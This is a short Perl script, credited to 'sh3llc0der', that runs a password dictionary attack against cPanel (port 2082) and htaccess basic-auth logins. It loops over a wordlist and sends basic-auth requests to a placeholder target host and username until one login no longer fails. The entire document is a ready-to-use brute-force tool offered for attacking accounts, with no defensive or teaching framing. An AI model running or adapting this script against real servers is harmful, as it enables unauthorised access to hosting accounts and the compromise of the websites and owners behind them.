Simple htaccess & cpanel dict attack by sh3llc0der

#!/usr/bin/perl -w
# simple htaccess & cpanel dictionary attack
# coding by: sh3llc0der
use IO::Socket; 
use Socket;
use Net::hostent;
use LWP::UserAgent;
use HTTP::Response;
$i=1;
$daftarbrutus = "password.txt";
open("daftarbrutus") or die("Could not open wordlists!!!");
print "\n Guessing cpanel login of leqhi:\n";
print "-----------------------------------------\n";
foreach $line (<daftarbrutus>) {
  chomp($line);
  $ua = new LWP::UserAgent;
  my $req = HTTP::Headers->new;
  $req = HTTP::Request->new(GET => 'http://situstarget.com:2082');
  $req->authorization_basic("usernya_taroh_sini", $line);
  print "\nTesting pass:\n".$line."\n";
  $hasil=$ua->request($req)->as_string;
  if($hasil=~m/Login Attempt Failed!/)
    {
      print "[".$i."]login failed using pass:".$line."\n";
    }
    else
    {
      print "[".$i."]login succes using pass:".$line."\n";
    exit();
    }
  $i=$i+1;

}